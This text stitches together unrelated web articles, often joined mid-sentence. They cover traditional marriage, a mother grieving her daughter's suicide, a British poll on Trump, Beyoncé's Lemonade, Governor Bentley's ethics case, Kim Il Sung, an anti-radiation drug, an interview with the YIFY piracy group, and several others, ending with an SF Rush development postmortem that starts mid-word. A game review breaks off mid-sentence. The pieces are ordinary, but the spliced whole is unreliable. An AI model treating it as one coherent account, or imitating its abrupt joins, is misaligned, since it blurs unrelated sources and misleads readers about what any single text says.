The traditional model of marriage is based on a strongly gendered division of labor between a breadwinning man and a homemaking mom. Husbands bring home the bacon. Wives cook it. In these marriages, often underpinned by religious faith, duty and obligation to both spouse and children feature strongly. In their ideal form, traditional marriages also institutionalize sex. Couples wait until the wedding night to consummate their relationship, and then remain sexually faithful to each other for life.When her daughter took her own life seven years ago, Elaine (using a pseudonym) said it was as if the world around her just stopped.
Her daughter had developed signs of mental illness when she was 18 years old, experiencing hallucinations and becoming worried about being monitored by closed-circuit television in lifts and on computers.
The situation prompted Elaine to quit her job and stay home full time to care for her. But despite all her love and care, her daughter took the devastating step of ending her life, aged 23, in her final year at university in 2009.
In the first six months after her daughter’s death, Elaine simply shut herself off from the outside world.
“It seemed like a dark world to me, as if the world around had stopped,” she said.
“I didn’t see any friends for six months... and lost my energy.”
It was only after meeting others in similar situations at Suicide Prevention Services that she found some solace.
“It felt really good to share something difficult and understand each other,” she said.
Her family was also a source of comfort.
But Elaine said she still grappled with her loss and with perceptions held in the community about suicide. She said she chose to limit her social circle and was afraid of meeting people.
During Lunar New Year, for example, she will still only visit her closest family members, rather than the traditional visits to friends as well.
“Families of those who have committed suicide are often seen with a negative image,” she said.
“Others think, ‘You did not treat your family member well,’ or, ‘You did not take enough care.’”
She said the assumption that suicidal people were usually alienated from their families was wrong, but also stressed that care and observation of children suspected of having a problem was essential.
“If you have long-standing issues, seek help,” she said.
Elaine urged other parents dealing with the loss of a child to learn how to take good care of themselves, accept care and love from family and friends, and seek professional help from counsellors or social workers.
Still on the road to recovery, Elaine has also taken on new hobbies, such as dancing, travelling and volunteering, to keep negative thoughts at bay.
“After stepping out [of my grief], I found life could be different and there are actually other ways to spend your life, too,” she said.
Her relationship with her husband has also improved as they become aware of the importance of treasuring the people around them.Over half surveyed believe US president is untrustworthy and that UK state visit should be cancelled, new poll finds
Almost two-thirds of the British public believe Donald Trump is a threat to international stability and a clear majority believe he will be a bad president, according to an Opinium/Observer poll conducted during his tumultuous second week in office.
Britain's verdict on Trump? Improve non-US allies and be prepared Read more
The study reveals Britons have an overwhelmingly negative view of the divisive US president, who in the fortnight since his inauguration has signed a string of executive orders imposing draconian immigration measures, professed to backing torture and rowed publicly with the leaders of Mexico, Iran and Australia. In addition to the 64% who believe he represents a threat to international stability, the words most commonly associated by Britons with the divisive US president are dangerous (50%), unstable (39%), and bigot (35%). A further 56% believe he is untrustworthy.
It also reveals that more than four in 10 people (44%) believe Trump will be an awful president, with a further one in ten believing he will be below average. A mere 6% believe Trump will be a great president.
However, Britons are more divided on the issue of Trump’s state visit to the UK, due to be hosted by the Queen this year. While a slim majority (53%) believe the trip should either be delayed until his now-suspended 120-day travel ban on seven Muslim-majority countries lapses (25%) or cancelled outright (28%), 36% believe the visit should go ahead regardless. Parliament will hold a debate on calls to cancel the state visit on 20 February after more than 1.8 million people signed a petition in support of scrapping or downgrading the invitation.
Tens of thousands join marches across UK against Trump's travel ban Read more
The results also suggest that Theresa May’s move to forge a close partnership with the new White House administration could risk alienating a substantial portion of the British public. Though 50% of those surveyed believe the US is Britain’s most important global ally, less than a third (29%) think the special relationship will be stronger under Trump’s presidency than it was under Obama’s. However, four in 10 voters agreed “Brexit means we have no choice but to keep strong ties with the US”, and 37% believe Trump is “a friend of Britain”.
Despite concerns that the prime minister’s attempts to negotiate a free trade deal with the US could involve unpopular compromises on public ownership of the NHS and food safety, a majority of voters (55%) believe May is strong enough to stand up for the UK’s interests while Trump is president. Less than one in four (22%) said the same of Corbyn.
At home, the prime minister and the Conservatives also maintain commanding leads over Jeremy Corbyn and Labour. Though May’s party are down one point since last month at 37%, their seven point lead over the opposition, who are on 30%, remains unchanged.
Donald Trump's first 100 days as president – daily updates Read more
When asked who would be their preferred prime minister, voters opt for May ahead of Corbyn by an overwhelming margin of 43% to 14%. The prime minister’s approval rating is up one point at 15%, while Corbyn’s is down one at -28%.
Ukip, whose leader Paul Nuttall could pull off a shock byelection victory in the previously safe Labour seat of Stoke-on-Trent Central later this month, are unchanged at 14%. The Liberal Democrats are up one point at 8%, the Scottish National party, down one point, are level with the Greens, who are also up one, at 5%.
Opinium surveyed 2,005 adults online between 31 January and 3 February.If you were hoping to wait a week and stream Beyoncé's new album Lemonade on Apple Music or Spotify, you can give up on that dream. Lemonade will be exclusively streaming on Tidal in perpetuity, a source confirmed to The Verge.
This is the second album from a major artist that Tidal has locked down a major streaming exclusive for, following Kanye West's seventh album, The Life of Pablo, which streamed exclusively on the service for six weeks before becoming available on Spotify and Apple Music. But right now, there is no timetable for Lemonade to become available on competing streaming services.
It's also unclear when Lemonade will be available for purchase, but we should hear about that in the coming days — with Tidal only available in 46 countries and millions of Beyoncé fans spread across the globe, Lemonade will likely be available for purchase in some capacity in the next few weeks.
Update: April 24th, 5:55PM ET: Tidal has confirmed to The Verge that its exclusive streaming period for Lemonade will continue in perpetuity.At a hastily called news conference on the Capitol steps this morning, Gov. Robert Bentley questioned the motives of those he said have exposed embarrassing details of his personal life and urged them to stop.
Bentley spoke publicly for the first time since the Ethics Commission found probable cause that he violated the ethics law and campaign finance law.
"I have done nothing illegal," the governor said. "If the people want to know if I misused state resources, the answer is simply no, I have not."
About the time the governor was speaking this morning, his lawyers were filing a complaint against the House Judiciary Committee, seeking to stop the release of an impeachment investigation report today by the special counsel for the committee, Jack Sharman.
The complaint, filed in Montgomery County Circuit Court, claims that the governor is not receiving due process in the impeachment proceedings, an argument his attorney, Ross Garber has made repeatedly.
Gov. Bentley vows to continue to serve Alabama 6 Gallery: Gov. Bentley vows to continue to serve Alabama
Clay Redden, spokesman for the House Judiciary Committee, said there is no immediate response to the lawsuit and that the plan to release the report today has not changed.
Bentley did not name anybody but called on those who he said enjoy embarrassing him and his family to stop.
"Those who would take pleasure in humiliating and shaming me, shaming my family, shaming my friends, well, I really don't understand why they would do that," the governor said, reading from a prepared statement.
"It may be out of vengeance, it may be out of jealousy, it may be out of anger. It may be out of personal political benefit, I don't know. But I would ask them to please stop."
The governor did not take questions after reading his statement.
Bentley said he had struggled in recent years, admitted he had made mistakes and apologized. He did not go into specifics.
"Once again, let me say to the people of this state how sorry I am to all of our people," Bentley said. "To all of you. There's no doubt that I have let you down. But all I ask is that you continue to pray for me and I will continue to pray for you."
Bentley repeated what he has said before, that he believes he is doing a job God called him to do.
"My motivation is to do what I truly believe what God called me to do," Bentley said. "That's to work hard and to serve our state and to serve and love the people of this great state of Alabama. God bless them and may God bless this great state as I continue to try to serve in the way that God has placed me in this position."
Original article continues below.
Alabama Gov. Robert Bentley is making an announcement this morning on the steps of the state capitol.
The Ethics Commission found probable cause that Bentley violated the Fair Campaign Practices Act three times and the state ethics law once.
The commission's decision forwards the allegations to Montgomery County District Attorney Darryl Bailey for possible prosecution.
Bentley has denied wrongdoing.
Bentley, a former dermatologist and state legislator, enjoyed a virtually scandal-free administration until 2015 when Dianne Bentley, his wife of 50 years, filed for divorce.
Rumors of an affair with long-time aid Rebekah Mason soon surfaced, allegations that were later made public by fired Alabama Law Enforcement Agency chief Spencer Collier.
An audio tape released following Collier's statements revealed Bentley making lurid comments to Mason, who is married to Jon Mason, director of SERVE Alabama, the governor's office of faith-based initiatives. In the tape, Bentley is heard discussing touching Mason's breasts and kissing her while warning her they will have to be careful while in his office.
Bentley later apologized for what he described as "inappropriate" comments but said the two did not have a physical affair.
Mason, who was employed via a 501(c)(4) group established to promote the governor's agenda, later resigned.
Collier's claims led to at least two lawsuits against Bentley and Mason and several ethics complaints alleging the governor misused state resources to facilitate or hide the affair. Earlier this week, the Ethics Commission found "probable cause" Bentley had violated state ethics and campaign finance laws.
At the same time, House judiciary members have been pursuing impeachment proceedings against Bentley. Those hearings are set to start next week.When Kim Il Sung’s heart stopped beating exactly 20 years ago — on July 8, 1994 — the propagandists didn’t let the mere fact of his death get in the way. The 82-year-old founder of the Democratic People’s Republic of Korea was revered like a god in life — and after it.
Two decades later, mythmaking is as important as ever for Kim’s grandson, dictator Kim Jong Un, who has just led the official memorial to the Great Leader.
North Korean propaganda casts the Kims as protectors of a country under siege. School children learn that Kim Il Sung was an exceptional warrior who, while camping at the base of Mount Paektu with his comrades, defeated a force of Japanese colonialists. He later repelled the imperialist Americans in the 1950–53 Korean War.
According to official history, his heir, Kim Jong Il, was born at the base of the same scared mountain, and the birth heralded by a rainbow. According to North Korean hagiography, Kim Jong Il grew up to become a master tactician, writer and filmmaker. Legend has it he shot 11 holes-in-one in his first ever round of golf.
Kim Il Sung’s North Korea was never the socialist paradise portrayed on posters, but through the 1960s it was at least a functioning, if brutal and repressive, state. The collapse of the Soviet Union and disastrous agricultural policies changed that. In the 1990s, while successor Kim Jong Il practiced his soon-to-be-legendary swing, North Koreans starved.
Understandably, young Kim Jong Un prefers to bask in his grandfather’s, rather than his father’s, glow. South Korean analysts believe the young leader consciously emulates his grandfather’s look and public persona. Whereas his father avoided the public, Kim Jong Un, like his grandfather, is often photographed among, even touching, his subjects.
Channeling his granddad reinforces Kim Jong Un’s link to a not-so-distant revolutionary past. Since coming to power in 2011, he has promised to push ahead with the twin development of his country’s economy and nuclear-weapons program. He has made good on the second part, conducting the country’s third nuke test, while keeping up the violent rhetoric and threatening, among other things, to rain fire on the U.S. “Break the waists of the crazy enemies, totally cut their windpipes and thus clearly show them what a real war is like, ” he once urged his soldiers, according to state media reports.
An actual conflict would almost certainly cost him his kingdom. But young Kim knows that for North Korea to survive he must convince his people that the enemy is at the gate — and that he, alone, can stop them. Grandad would have approved.
Write to Emily Rauhala at emily_rauhala@timeasia.com.Medication that can protect humans against nuclear radiation has been developed by Jewish-American scientists in cooperation with a researcher and investors from Israel. The full story behind the dramatic discovery will be published in Yedioth Ahronoth's weekend edition.
The ground-breaking medication, developed by Professor Andrei Gudkov – Chief Scientific Officer at Cleveland BioLabs - may have far-reaching implications on the balance of power in the world, as states capable of providing their citizens with protection against radiation will enjoy a significant strategic advantage vis-à-vis their rivals.
For Israel, the discovery marks a particularly dramatic development that could deeply affect the main issue on the defense establishment's agenda: Protection against a nuclear attack by Iran or against "dirty bomb" attacks by terror groups.
Gudkov's discovery may also have immense implications for cancer patients by enabling doctors to better protect patients against radiation. Should the new medication enable cancer patients to be treated with more powerful radiation, our ability to fight the disease could greatly improve.
Dramatic test results
The process that led up to the medical innovation dates back to 2003, when Professor Gudkov came up with the idea of using protein produced in bacteria found in the intestine to protect cells from radiation.
Gudkov recounted an experiment he held with two groups of mice.
"We exposed both groups to lethal radioactive radiation," he said. "All the mice in the control group died within a short period of time. A few days later, when I approached the cage with the mice that received the protein, I could see that they're ok, that they're alive. They survived. It's hard to describe the joy all of us felt. We realized that finally, after so many years and so many experiments and frustrations, we made a breakthrough that may save the lives of millions."
Prof. Gudkov published the findings of the protein experiment in Science, the world's leading scientific journal; however, the discovery of the medication was kept secret until now, while Gudkov and his associated waited for the results of two series of critical tests examining the medication's effectiveness and safety.
The first series of tests included experiments on more than 650 monkeys. Each test featured two groups of monkeys exposed to radiation, but only one group was given the medication. The radiation dosage was equal to the highest dosage sustained by humans as result of the Chernobyl mishap.
The experiment's results were dramatic: 70% of the monkeys that did not receive the cure died, while the ones that survived suffered from the various maladies associated with lethal nuclear radiation. However, the group that did receive the anti-radiation shot saw almost all monkeys survive, most of them without any side-effects. The tests showed that injecting the medication between 24 hours before the exposure to 72 hours following the exposure achieves similar results.
Another test on humans, who were given the drug without being exposed to radiation, showed that the medication does not have side-effects and is safe. Prof. Gudkov's company now needs to expand the safety tests, a process expected to be completed by mid-2010 via a shortened test track approved for bio-defense drugs. Should experiments continue at the current rate, the medication is estimated to be approved for use by the FDA within a year or two.
'Stable, safe, and easy to inject'
The company's subcontractor in Europe is already prepared to embark on mass production. Meanwhile, emergency regulations in Israel allow the government to purchase drugs on short notice, even if they are still in the process of being approved. Notably, the medication in question is not a vaccine, but rather, a preventative drug administered via one or several shots.
The medication works by suppressing the "suicide mechanism" of cells hit by radiation, while enabling them to recover from the radiation-induced damages that prompted them to activate the suicide mechanism in the first place.
Prof. Gudkov heads a group of Jewish-American scientists and has cooperated with an Israeli researcher and Israeli investors. A large part of the revolutionary medication's development process was funded by the US Defense and Health departments, which thus far earmarked $40 million to the project. About two weeks ago, the US Defense Department announced that in light of the successful tests, it will continue to fund the project.
Today, Feinstein works for an Israel company engaged in cancer research and continues to cooperate with Gudkov. Referring to the innovative medication, she says: "Both its effectiveness and safety had been proven. It is stable, safe, and easy to inject."
Both Feinstein and Gudkov stress that the innovative drug does not provide 100% protection against radioactive damage. However, should the discovery announced by the scientists meet all the required tests and permits, it may change the 21st Century.Roughly three years ago nobody had ever heard of YIFY but today the movie release group is one of the most recognizable movie piracy brands on the Internet. Unlike Scene or P2P groups who strive to be the first to leak a pirated movie, YIFY's motivation is to cater to pirates with a wide range of easily accessible titles. Talking to TorrentFreak, the group's founder explains why.
Every month hundreds of million of people flock to various torrent sites to download the latest Hollywood blockbusters.
Traditionally these pirated released were leaked from “the Scene,” but in recent years the landscape has evolved bringing many new groups to the forefront.
These P2P groups release their own pirated versions and often beat the Scene to it. The primary motivation, however, is the competition element of being the first to get a movie out there in top quality.
YIFY doesn’t fit into either of these categories. Unlike most other groups they are not motivated by the competition and the credits that come with it, but by serving their ‘audience’ the best way they can.
This approach appears to work, as millions of people are now following the group’s releases. Their own website YIFY-torrents is now among the top ten most-visited torrent sites on the Internet, and on sites such as KickassTorrents the term YIFY constantly appears as one of the top searches.
YIFY searches on KAT
To find out how it all came to be and what makes this group tick, TorrentFreak caught up with its founder. Using the handle YIFY, he tells us that one of the main goals is to make films accessible in all parts of the world, combining relatively small file-sizes with good quality.
“We aim to bring Hollywood films to the masses at smaller file-size. Our primary goal is to enable users from all parts of the world, who have bandwidth or hard drive limitations, to download and enjoy this content,” YIFY says.
YIFY started three years ago by releasing movies on various torrent sites and quickly added its own website a year later.
“It all started in 2010 when x264 started to gain significant popularity. I saw the potential application of using this codec to spread films at a smaller size. By August 2011, YIFY releases had gained enough popularity to launch our own website, serving as a platform for our releases.”
The steady release of popular titles in an easily digestible size and format piqued the interest of many movie pirates. Around this time last year the number of visitors to YIFY’s own site had grown to 200,000 a day, and over the past year this exploded to 700,000.
Together with the hundreds of thousands of followers on other sites, it is safe to say that YIFY caters to the demands of millions of people.
YIFY site growth
YIFY currently uploads its releases to its own site and five other public indexes: PublicHD, KickassTorrents, 1337x, The Pirate Bay, and ExtraTorrent. The group posts dozens of new and older films every month, a schedule that appears to appeal to a wide audience.
The high volume of searches for YIFY shows that more people actually search for the group tag than for specific movie titles, so in a way the group is guiding people’s viewing habits.
“I personally think that many people are following and downloading YIFY encodes due to the consistency we offer in our releasing. Everything from the consistent film cover art, to the information layout, and ultimately to the file-size of our encodes,” YIFY says.
“I believe this is important because people like stability and assurance with what they are downloading. By adding consistency to a reasonable file-size, we have filled a spot in the community, which seemingly has a lot of demand.”
Behind the scenes there’s a lot going on before a release is published on the Internet. YIFY doesn’t reveal specific sources but says it mostly relies on “leaked Blu-ray disks from friends.” A set of automated scripts then handles the encoding and subsequent uploading.
In many ways the popularity of YIFY is reminiscent of aXXo, the uploader that gathered an immense popularity during the latter half of the last decade. YIFY is flattered by this comparison, but personally he believes that’s too much credit.
“aXXo revolutionized the file-sharing community with highly accessible releases, while we are just a popular name; we have not actually introduced anything new to the community,” YIFY says.
Of course there’s also a darker side to YIFY’s newly gained fame. The group is clearly in the cross-hairs of Hollywood since the UK anti-piracy group FACT has already asked the court to block the site in the UK. At the same time, more radical legal steps can certainly not be excluded.
YIFY notes that their legal issues are limited to DMCA requests for now, which they comply with as other torrent sites do. Their biggest challenge at the moment is keeping the site online, which is easier said than done with the rapid increase in visitors.
“One year ago we were getting around 250,000 visitors daily on the website, presently we get around 700,000. Setting up our system to handle this growth in traffic has been the main challenge thus far,” YIFY says.
As for Hollywood, YIFY points out that the movie industry would be wise to move away from expensive per item sales, and focus more on free access models such as Hulu and Netflix-style subscription models in countries where these are not yet available.
“I do not think that Hollywood needs to learn anything specifically from our success. Rather, I think that our success is just a symptom of a much wider, and fast growing, worldwide phenomenon. I think that this demonstrates that people all around the world are no longer willing to pay a premium for their digital media,” YIFY concludes.
For the time being, YIFY is happily filling this gap.Ika Musume, the titular character from the recent anime Shinriyaku! Ika Musume, has been getting a lot of publicity lately. The figure community really seems to love her, and she’s been given a wealth of merchandise, the newest of which is a Revoltech manufactured by Kaiyodo.
I have to admit, I think it’s a real shame that they released these images after we’d already seen figma Ika Musume. The figma is, at least to me, superior in almost every aspect. Better posing, less noticeable joints, more realistic-looking dress, better faces, and a lot more accessories. The Revoltech is cute, but it just doesn’t quite reach the levels of cuteness that the figma does.
If you happen to like this more than the figma, or you just want an army of poseable Ika Musumes, I’m afraid I have got some bad news for you. Ika popped up on the LMP Motorsport page, and it’s heavily hinted that she will be a sponsor item like the Racing Miku Nendoroids. LMP actually already had an Ika Musume sponsor item, the Petit Nendoroid set! This means that the Revoltech will be hard to get and damn expensive. No word on pricing or release date, but we should have the full set of info soon!
[via LMP Motorsport]Bernie Sanders and his aides and surrogates have been on a singular mission to destroy Hillary’s public image, portraying her as corrupt and dishonest. The corporate media eagerly assist him, while Republicans watch and smile, knowing their dirty work is being done for them.
WaPo:
Republican presidential candidate Donald Trump on Thursday offered rare words of praise for one of his Democratic rivals: Sen. Bernie Sanders, who Trump said should keep attacking front-runner Hillary Clinton. “He’s been tough on her. In fact, I’d like him to keep going because the longer he goes the more I’m going to like it,” Trump told thousands of supporters during a campaign rally here in Harrisburg.
Here’s the money quote:
Trump lauded Sanders for keeping pressure on Clinton and particularly singled out Sanders’s comments attacking Clinton’s judgment. He also credited Sanders with being the first to question Clinton’s qualifications for office. “So Bernie Sanders, not me, said she is not qualified. So now I’m going to say, ‘She’s not qualified.’ OK?” Trump said.
At the MaddowBlog, Steve Benen explains how Republicans see the Democratic primary:
Karl Rove’s Crossroads operation started boasting in February about its efforts to boost Sanders, and other Republican outfits have launched similar efforts to help the Vermont senator. In January, the RNC’s chief strategist conceded he was eager to “help” the Sanders campaign.
Bernie’s decision to go hard negative on Hillary was a colossal mistake — for him, and for the Democratic Party. He should have listened to his own conscience:
Mr. Sanders’s advisers urged him to challenge Mrs. Clinton over accepting $675,000 from Goldman Sachs for delivering three speeches, according to two Sanders advisers. Mr. Sanders, hunched over a U-shaped conference table, rejected it as a personal attack on Mrs. Clinton’s income — the sort of character assault he has long opposed. She has the right to make money, he offered.
(AP Photo/Brynn Anderson)Arriving some four months after October’s first installment of Telltale’s adventurish adaptation of fairy tales in the real world comic Fables, Smoke & Mirrors sees protagonist Bigby Wolf continue to investigate a series of murders. Given the cliffhanger ending of episode 2, you’ll forgive me if I’m plot-light in the below. I.e. no spoilers, but it does presume you’re fairly familiar with the game already.
Four months of waiting, for around 60-90 minutes of game (even less, if you’re a dialogue-skipping hurry-pants). Whatever the reason, it’s a big dent in Telltale’s recently-skyrocketed reputation, and one that makes it significantly harder to keep faith in the oft-broken promise of episodic gaming. I’m invested in Wolf Among Us’ story, some of its characters and especially its neon-brooding mood, but it’s only reviewer’s duty that keeps me from deciding to wait until the whole lot’s released rather than play episode by episode.
The wait was too long, for too little, though Smoke & Mirrors’ tone and characterisation does at least remind me why I cared in the first place. But its inevitable cliffhanger fails where the first episode’s succeeded, because this time around I feel like I’m being baited. (Also I’d already second-guessed it, but that’s because I make a habit of striving to do so rather than that it’s screamingly obvious. Never, ever watch a detective series in my company, I’ll drive you spare). It is so much harder to care, and no longer natural to feel that nagging need to know, when one is aware that answers may not be forthcoming for months and that you’re simply at the whims of someone’s misjudged schedule. If I want to pay another visit to the narrative Skinner box, there are any number of reliably monthly comics or weekly TV serials to turn my attention to instead. My point being that a schedule is coal to this kind of fiction’s engine, and not a matter of angry internet people acting over-entitled.
Perhaps Episode 2’s brevity reflects Telltale trying to get back on track, to get something out ASAP now whatever caused the delay has perhaps passed, in order that a regular schedule can be maintained. That helps, especially if it means episodes 3 and onwards aren’t quite so slight, but it still feels faintly insulting. I say that not purely from entitled grumpiness about the delay and the short running time, but also because Smoke & Mirrors is a lesser adventure game than the preceding episode. While the latter-day Telltale formula, with its focus on choosing dialogue options and navigating quicktime events, has long invited justified debate about interactivity and style over substance, this is even more of a reduction to barebones.
Despite nominally being in charge of the investigation into the murder of multiple Fables, you’re a complete passenger here, ferried without warning from location to location (six in total, three of which allow no movement whatsoever, two of which are recycled wholesale from episode one and only two of which consist of more than a single room) and repeatedly forced to end investigative lines moments after they’ve begun. Every event is distractingly brief, and every scene feels like ticking a few boxes rather than exploring or deducing. It has the manner of a game in a dreadful hurry, which creates an internal tension with the sombre, brooding mood. And while there are several, enjoyable opportunities to roleplay |
Hz, was no easy task. The solution, we found, was to extensively exploit the use of LODs.The original city map, with potential routes drawn in colored pencil.A hand drawn route interpretation with topographical info for Track 3.Just the road surface.Half decorated.The final product.MultiGen was once again the tool of choice (and still is, for that matter, with Creator) for its ability to implement LODs, another concept that grew out of the military simulation industry. Everything in SF Rush has multiple LODs, and all of the LOD switch ranges are finely tuned to create a sort of animated facade. Geometry is switching in just around the corner and right under the player's nose in SF Rush, but they're unlikely ever to notice it, unless they look very closely or someone points it out to them.The fact that SF Rush is a racing game aided our efforts in achieving this effect. Following a racecourse limits the number of routes that a player is likely to take through the city, which consequently limits the number of angles/speeds at which you can approach objects/locations in the game. Also, we spent a lot of time rebuilding sets of LODs that were too polygon heavy, in order to maintain the frame rate once the final hardware was available. In the end, an awful lot of hand tuning and elbow grease was required to get right, but I think we were able to create a good sense of expansive spacesI've heard reports that the musical selections for the consumer releases of Rush, which were taken directly from the coin-op version, were not appreciated by consumers. I have to apologize to all the people who feel that way, but we did that (almost) on purpose. The entire team was of the opinion that the most important thing for the game aurally was quality of the sound effects as opposed to the sound tracks.That meant that the engine sound was paramount, closely followed by wind noise, road rumble, a proper Doppler shift effect for other cars, and reverb (for tunnels and canyon-like city streets). The sound tracks were relegated to whatever time and resources remained after implementing the effects, which is why the music on an optional switch in the cabinet, and the default setting is no music at all.The intricacy of the driving model made it possible to create an engine sound that was true to life. The torque and load parameters from the engine were used to drive an audio model that then acted upon a series of samples taken from various automotive sources. In-house audiophiles Gunnar Madsen, Chuck Peplinski, and Todd Modjeski teamed up with contractor David Riesner and the Atari Industrial Design team (Mark Gruber, Ralph Perez, and Pete Takaichi). They produced a quadraphonic sound system design for the cabinet, rounded out with a seat-mounted sub-woofer, that would do justice to the game's detailed audio effects.The one thing that really puts the SF Rush experience over the top turned out to be something we hadn't anticipated: the audio. The audio, in combination with the rest of the elements of the game, increases your level of immersion in the experience. The audio experience is very evident in the game when you get air going over hills and off jumps. The combination of the realistic physics model and a full-weight car going well over 100 MPH makes for long jumps in which the car seems to float.Perhaps due to these intense physics, there was always a sense of disconnection from the car when it was jumping. Then we added the road rumble, got the seat-mounted sub-woofer working, and actually linked the road rumble to the car's position on or off the ground. It's an extremely subtle effect, and is more felt than it is heard, but when a player goes over a jump and the grinding rumble beneath him or her turns to a coarse whooshing sound, it really sells the fact that the car just went airborne. The audio guys, naturally, wished they had a better audio hardware with more resources to put towards the audio effort, but I think they did a fine job with what they had, given our goals.When I first joined the team, design meetings were being held in conjunction with status meetings for the entire team and weren't particularly functional. I was the new kid on the block, and despite my best efforts, the meetings always degenerated into separate groups. Everyone argued and brainstormed energetically, but never came to any conclusions either. Can you say, "Dilbert?"This disorganization went on for a bit until a certain key member of the team threatened to be off about his business if there wasn't a change, and at his suggestion a core design team was formed. The core team was composed of John Ray as producer, Alan Gray as lead programmer, myself as game designer, and the art lead, whoever that happened to be at any given time. I suppose it's easy for me to say, because I was included in it, but I don't think anything would have ever gotten done if we hadn't implemented the core team design meetings.Also, we made it clear that intelligent feedback and suggestions for alternate solutions were more than welcome from the rest of the team. We needed to establish initial priorities, however, and assign short-term tasks while starting to map out what was going to be a huge effort. To me, it was at this point that we actually started making a game, as opposed to developing the underlying technologies that would make a game possible.In spite of the fact that we finished SF Rush on time, and that we achieved nearly all of the goals that we set for ourselves, we did encounter some significant hurdles. In general, however, we were able to learn from our mistakes, and we turned most of these impediments into advantages.The development of the hardware progressed slower than we had anticipated, and the hardware itself was slower than we had hoped. Think about it: we were building some of the first consumer-level 3D hardware. The Rush art effort, in particular, faced the inevitable problem of trying to hit a moving target by creating graphics for a hardware platform that kept changing.The production hardware came in two flavors: "Seattle" was a single texture-memory unit (TMU) version (used on Mace and Gretsky 3D Hockey), and "Flagstaff" was a two-TMU version of that board that also included the Cage audio hardware, a proprietary audio board that provided 16 channels of 16-bit sound. Switching hardware gears in mid-production was a bit of a mixed blessing; we had to port the physics model to the new platform and revamp the art tool chain.In the end, however, the new hardware turned out to be just what the doctor ordered. Once the port was done, Alan Gray was free to work on the game and underlying technologies, and the hardware effort, focused in Chicago, was in hands that were devoted entirely to that pursuit. At this point, we devised a new schedule based on the availability of the new hardware, which was six months away, and the crunch began. We eventually met that schedule, thanks to someThe Rush art effort suffered from the art team's lack of a strong leader. Initially, this task fell to Michael Prittie because he was the most senior of the group. Michael was a fine artist/modeler/animator, but lacked the technical background to lead a cutting-edge, real-time 3D effort.Next in line was Spencer Lindsay, who was definitely the technical art lead throughout the project. At that point, however, Spencer wasn't ready to assume the duties of managing and scheduling the rest of the art team. For a while, Michael and Spencer tried to divide the lead duties between them, which really didn't work.As a result of all this confusion, Rob Adams, who was in charge of texture production and 2D work for the game, was, for the most part, left to his own devices. Rob was a talented artist, and he produced a plethora of textures. However, there was minimal organization of these textures into a library, much of the modularity of the overall texture set had to be rethought, and the project required a global color balancing.Rob wasn't modeling worlds until late in the project, and as a result, wasn't properly aware of some of the implications that our mapping methods (for example, separating building tops and building bottoms so that the textures could easily be combined into a variety of buildings, or tailoring the house and building bottoms to the predefined hill angles that we were using to model the tracks) should have had on his texture development.The discrepancies between Rob's work and our mapping efforts represented relatively small problems, but precluded handy solutions to the daunting task of modeling three-and-a-half-miles worth of city streets while trying to avoid too much repetition. The lesson to be learned from this set of circumstances, in my opinion, is that everyone on an art team should do both modeling and texturing, as the two are closely linked in today's 3D games. In fact, Rob's texturing skills improved when he began modeling in earnest, and he turned out to be an excellent modeler as well, a much-needed help in the latter stages of the game.Eventually, towards the end of the project, we decided that I should take over as art director. I was brought onto the team as game designer, but I had just finished a blit-based game, so I was initially discounted as a 3D artist. I quickly became frustrated, though, at designing tracks on paper and watching over Spencer's shoulder as he built the road surface for the first track.With the team's permission, I began working the night shift so that I could use the Onyx to learn MultiGen II and proceeded to model the road surface for the second two tracks. When the track surfaces were done and the game design was in a fairly stable state, I went on to start modeling scenery for the tracks as well. At this point, I began to realize that the texture library needed to be rethought, and it was the resolution of this issue that convinced the team to let me give it a go as art director.This reorganization was only a few months before the end of the project. We were behind on most fronts at that point, but we were prepared to take a fresh look at things and push through. Upper management saw things differently, however, and so the face of the art team changed again in the eleventh hour, necessitating an application of sheer labor towards meeting a deadline.Along with a series of lay-offs in late 1996, upper management at Atari eliminated the position of Director of Animation, formerly held by Tom Capizzi. They also decided that since we were behind, Tom should take over as art director for the Rush team. I'm sure Tom would be the first to admit that he received his direction on how the game should be finished from myself and the other Rush artists, but I'm the first to admit that the project could never have been as polished a final product without Tom's help.Tom took care of the cabinet graphics, logos, and attract movies (with Greg Allen and Brent Englund on the video shoots), and furthermore put together a sub team to finish up the cars. Tom contracted Kirk Young and chain-ganged Jeff Shears and Gene Higashi from another team to finish the car effort, while the rest of the art team concentrated on finishing the tracks and select screens. Tom also had the dubious pleasure of inheriting a big organizational and relational mess, and I am eternally grateful to him for taking that mess off of my back just as I was hunkering down to hoist it up; but in the end, it all worked out.Finished Rush cabinets rolling off the line in Waukegan, Ill.The biggest design flaw with Rush was that, despite our best efforts, its learning curve was still a bit steep for a portion of the arcade audience. Driving a realistic car model through the streets of San Francisco at extreme speeds is just plain hard to do. We wanted players to be able to get good at it, but we also wanted the casual player to be able to play it and not be scared off.We tried to address this problem in our design with two major tactics. The first was a smooth progression of the skill level required for each of the tracks. Players can drive Track 1 by just putting a foot on the gas; a player in the Beginner car can pretty much go around the track without steering.Which brings us to the second tactic: the cars were divided into four classes, going from the Extreme, which is the full simulation, to the Beginner, which has serious training wheels, with a smooth continuum between the two. By the time a player has mastered Track 3, which actually requires braking (or at least taking a foot off the gas) to get the best times and can finish the course without crashing in the Extreme car, he or she has spent a lot of time and a lot money feeding his or her addiction.The problem lay in the fact that too many people chose the Extreme car when they ought not to have done so. A player can choose Track 3 and use the Beginner car and still not have too bad a time of it, but a beginner who chooses the Extreme car on any of the tracks is in for a rough ride. One of the last revisions to the game featured graphics and sound cues designed to make players aware of the dangers of the Extreme car.This tactic may have helped somewhat, but John Ray contends (and I agree), that we should have put access to the Extreme car on a secret button combination. Secret button combinations are commonplace Easter eggs in arcade games these days, and we used them for other player configurable aspects of the game successfully. In the end, we decided, unwisely, not to use one for access to the Extreme car. If we had actually limited access to the Extreme car, we probably could have prevented a certain percentage of players from being scared off by the difficulty of the game.The only other major problem we had with the design of the game was a lack of final tuning. I was so busy scrambling to build tracks that a few fine-tuning issues slipped through the cracks, despite an excellent testing crew. I'm not going to elaborate on those, but suffice it to say that it's possible to cheat a little in rare instances with the initial release of the game, and the drones can be kind of evil sometimes.Now, I don't want you to get the impression that the art effort on SF Rush was a complete fiasco. That was decidedly not the case, and though it may have been a sprawling mess some of the time, it was successful in the end, and we managed to push a couple of boundaries along the way. Many elements contributed to the success of the game design, but in the end, I think the interplay of two main elements distinguish Rush from other racing games of its kind and create a unique experience.The first is the combined sense of realism gained from the realistic physics model, the force-feedback steering, the surround sound, and all the little touches. The strength of the car and the layout of the tracks let players perform some incredible, decidedly unrealistic stunts. This style of game play, combined with a sense of tactile realism, creates a positively surreal experience that can be quite a rush, so to speak.A latter day incarnation of the Rush team, from 